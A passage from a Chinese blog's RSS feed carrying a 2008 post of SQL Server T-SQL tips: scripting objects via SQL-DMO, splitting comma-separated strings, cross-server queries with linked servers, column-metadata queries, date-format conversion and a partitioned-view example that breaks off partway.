<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>科技之门 - 编程开发</title><link>http://www.icdoor.com/z-blog/</link><description>www.icdoor.com - </description><generator>RainbowSoft Studio Z-Blog 1.8 Spirit Build 80710</generator><language>zh-CN</language><copyright>Copyright 2003-2007 www.icdoor.com. All Rights Reserved.京ICP备05039017号.Powered By Z-Blog.Top</copyright><pubDate>Tue, 07 Sep 2010 03:35:51 +0800</pubDate><item><title>t-sql技巧</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3400.html</link><pubDate>Fri, 12 Dec 2008 14:26:46 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3400.html</guid><description><![CDATA[<p>&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">一、 只复制一个表结构，不复制数据</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select top 0 * into [t1] from [t2]</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">二、 获取数据库中某个对象的创建脚本</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">1、 先用下面的脚本创建一个函数</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if exists(select 1 from sysobjects where id=object_id('fgetscript') and objectproperty(id,'IsInlineFunction')=0)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">drop function fgetscript</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create function fgetscript(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">@servername varchar(50)&nbsp; &nbsp; --服务器名</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">,@userid varchar(50)='sa'&nbsp; &nbsp; --用户名,如果为nt验证方式,则为空</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">,@password varchar(50)=''&nbsp; &nbsp; --密码</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">,@databasename varchar(50)&nbsp; &nbsp; --数据库名称</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">,@objectname varchar(250)&nbsp; &nbsp; --对象名</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">) returns varchar(8000)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @re varchar(8000)&nbsp; &nbsp; &nbsp; &nbsp; --返回脚本</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @srvid int,@dbsid int&nbsp; &nbsp; &nbsp; --定义服务器、数据库集id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @dbid int,@tbid int&nbsp; &nbsp; &nbsp; &nbsp; --数据库、表id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @err int,@src varchar(255), @desc varchar(255) --错误处理变量</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--创建sqldmo对象</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec @err=sp_oacreate 'sqldmo.sqlserver',@srvid output</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--连接服务器</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if isnull(@userid,'')='' --如果是 Nt验证方式</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; exec @err=sp_oasetproperty @srvid,'loginsecure',1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; exec @err=sp_oamethod @srvid,'connect',null,@servername</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">else</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; exec @err=sp_oamethod @srvid,'connect',null,@servername,@userid,@password</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--获取数据库集</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec @err=sp_oagetproperty @srvid,'databases',@dbsid output</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--获取要取得脚本的数据库id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec @err=sp_oamethod @dbsid,'item',@dbid output,@databasename</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--获取要取得脚本的对象id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec @err=sp_oamethod @dbid,'getobjectbyname',@tbid output,@objectname</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--取得脚本</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec @err=sp_oamethod @tbid,'script',@re output</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">if @err &lt;&gt;0 goto lberr</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--print @re</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">return(@re)</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">lberr:</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec sp_oageterrorinfo NULL, @src out, @desc out</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @errb varbinary(4)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">set @errb=cast(@err as varbinary(4))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec master..xp_varbintohexstr @errb,@re out</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">set @re='错误号: '+@re</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; +char(13)+'错误源: '+@src</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; +char(13)+'错误描述: '+@desc</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">return(@re)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">2、 用法如下</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">用法如下,</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">print dbo.fgetscript('服务器名','用户名','密码','数据库名','表名或其它对象名')</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">3、如果要获取库里所有对象的脚本，如如下方式</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @name varchar(250)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare #aa cursor for</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select name from sysobjects where xtype not in('S','PK','D','X','L')</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">open #aa</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">fetch next from #aa into @name</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">while @@fetch_status=0</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">print dbo.fgetscript('onlytiancai','sa','sa','database',@name)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">fetch next from #aa into @name</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">close #aa</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">deallocate #aa</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">4、声明，此函数是csdn邹建邹老大提供的</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">三、 分隔字符串</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">如果有一个用逗号分割开的字符串，比如说&quot;a,b,c,d,1,2,3,4&quot;，如何用t-sql获取这个字符串有几个元素，获取第几个元素的值是多少呢？因为t-sql里没有split函数，也没有数组的概念，所以只能自己写几个函数了。</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">1、 获取元素个数的函数</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create function getstrarrlength (@str varchar(8000))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">returns int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @int_return int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @start int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @next int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @location int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @str =','+ @str +','</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @str=replace(@str,',,',',')</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @start =1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @next =1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @location = charindex(',',@str,@start)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; while (@location &lt;&gt;0)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @start = @location +1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @location = charindex(',',@str,@start)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @next =@next +1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select @int_return = @next-2</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">return @int_return</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">2、 获取指定索引的值的函数</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create function getstrofindex (@str varchar(8000),@index int =0)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">returns varchar(8000)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @str_return varchar(8000)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @start int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @next int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; declare @location int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @start =1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @next =1 --如果习惯从0开始则select @next =0</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @location = charindex(',',@str,@start)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; while (@location &lt;&gt;0 and @index &gt; @next )</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @start = @location +1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @location = charindex(',',@str,@start)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; select @next =@next +1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; if @location =0 select @location =len(@str)+1 --如果是因为没有逗号退出，则认为逗号在字符串后</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select @str_return = substring(@str,@start,@location -@start) --@start肯定是逗号之后的位置或者就是初始值1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; if (@index &lt;&gt; @next ) select @str_return = '' --如果二者不相等，则是因为逗号太少，或者@index小于@next的初始值1。</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; return @str_return</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">3、 测试</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SELECT [dbo].[getstrarrlength]('1,2,3,4,a,b,c,d')</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SELECT [dbo].[getstrofindex]('1,2,3,4,a,b,c,d',5)</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">四、 一条语句执行跨越若干个数据库</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">我要在一条语句里操作不同的服务器上的不同的数据库里的不同的表,怎么办呢?</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">第一种方法:</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from OPENDATASOURCE('SQLOLEDB','Data Source=远程ip;User ID=sa;Password=密码').库名.dbo.表名</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">第二种方法:</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">先使用联结服务器:</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">EXEC sp_addlinkedserver '别名','','MSDASQL',NULL,NULL,'DRIVER={SQL Server};SERVER=远程名;UID=用户;PWD=密码;'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">exec sp_addlinkedsrvlogin&nbsp; @rmtsrvname='别名',@useself='false',@locallogin='sa',@rmtuser='sa',@rmtpassword='密码'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">GO</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">然后你就可以如下：</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from 别名.库名.dbo.表名</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">insert 库名.dbo.表名 select * from 别名.库名.dbo.表名</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * into 库名.dbo.新表名 from 别名.库名.dbo.表名</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">五、 怎样获取一个表中所有的字段信息</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">蛙蛙推荐：怎样获取一个表中所有字段的信息</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">先创建一个视图</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">Create view fielddesc&nbsp; &nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select o.name as table_name,c.name as field_name,t.name as type,c.length as</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">length,c.isnullable as isnullable,convert(varchar(30),p.value) as desp</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">from syscolumns c&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">join systypes t on c.xtype = t.xusertype</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">join sysobjects o on o.id=c.id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">left join&nbsp; &nbsp; sysproperties p on p.smallid=c.colid and p.id=o.id&nbsp; &nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">where o.xtype='U'</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">查询时:</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">Select * from fielddesc where table_name = '你的表名'</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">还有个更强的语句，是邹建写的，也写出来吧</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SELECT</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">(case when a.colorder=1 then d.name else '' end) N'表名',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">a.colorder N'字段序号',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">a.name N'字段名',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '&radic;'else '' end) N'标识',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">(case when (SELECT count(*)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">FROM sysobjects</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">WHERE (name in</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SELECT name</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FROM sysindexes</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE (id = a.id) AND (indid in</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SELECT indid</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FROM sysindexkeys</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE (id = a.id) AND (colid in</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (SELECT colid</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FROM syscolumns</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE (id = a.id) AND (name = a.name))))))) AND</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; (xtype = 'PK'))&gt;0 then '&radic;' else '' end) N'主键',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">b.name N'类型',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">a.length N'占用字节数',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">COLUMNPROPERTY(a.id,a.name,'PRECISION') as N'长度',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as N'小数位数',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">(case when a.isnullable=1 then '&radic;'else '' end) N'允许空',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">isnull(e.text,'') N'默认值',</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">isnull(g.[value],'') AS N'字段说明'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--into ##tx</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">FROM&nbsp; syscolumns&nbsp; a left join systypes b</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">on&nbsp; a.xtype=b.xusertype</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">inner join sysobjects d</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">on a.id=d.id&nbsp; and&nbsp; d.xtype='U' and&nbsp; d.name &lt;&gt;'dtproperties'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">left join syscomments e</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">on a.cdefault=e.id</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">left join sysproperties g</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">on a.id=g.id AND a.colid = g.smallid&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">order by object_name(a.id),a.colorder</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">六、 时间格式转换问题</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">因为新开发的软件需要用一些旧软件生成的一些数据，在时间格式上不统一，只能手工转换，研究了一下午写了三条语句，以前没怎么用过convert函数和case语句，还有&quot;+&quot;操作符在不同上下文环境也会起到不同的作用，把我搞晕了要，不过现在看来是差不多弄好了。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">1、把所有&quot;70.07.06&quot;这样的值变成&quot;1970-07-06&quot;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">UPDATE lvshi</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SET shengri = '19' + REPLACE(shengri, '.', '-')</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">WHERE (zhiyezheng = '139770070153')</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">2、在&quot;1970-07-06&quot;里提取&quot;70&quot;,&quot;07&quot;,&quot;06&quot;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SELECT SUBSTRING(shengri, 3, 2) AS year, SUBSTRING(shengri, 6, 2) AS month,</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; SUBSTRING(shengri, 9, 2) AS day</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">FROM lvshi</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">WHERE (zhiyezheng = '139770070153')</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">3、把一个时间类型字段转换成&quot;1970-07-06&quot;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">UPDATE lvshi</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">SET shenling = CONVERT(varchar(4), YEAR(shenling))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; + '-' + CASE WHEN LEN(MONTH(shenling)) = 1 THEN '0' + CONVERT(varchar(2),</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; month(shenling)) ELSE CONVERT(varchar(2), month(shenling))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; END + '-' + CASE WHEN LEN(day(shenling)) = 1 THEN '0' + CONVERT(char(2),</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; day(shenling)) ELSE CONVERT(varchar(2), day(shenling)) END</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">WHERE (zhiyezheng = '139770070153')</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">七、 分区视图</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">分区视图是提高查询性能的一个很好的办法</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--看下面的示例</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--示例表</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create table tempdb.dbo.t_10(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">id int primary key check(id between 1 and 10),name varchar(10))</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create table pubs.dbo.t_20(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">id int primary key check(id between 11 and 20),name varchar(10))</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create table northwind.dbo.t_30(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">id int primary key check(id between 21 and 30),name varchar(10))</p><p style="font-size: 9pt; margin: 0in; font-family: 